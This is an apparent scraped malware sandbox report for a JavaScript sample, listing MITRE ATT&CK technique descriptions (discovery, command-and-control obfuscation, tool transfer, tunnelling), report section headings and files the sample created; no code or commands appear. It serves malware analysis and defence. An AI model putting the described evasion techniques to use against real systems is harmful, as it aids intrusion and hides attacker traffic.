Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3254519122657813770.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\08a904f7-6791-4045-b288-4f54e52f1ae0.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5432

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
3254519122657813770.js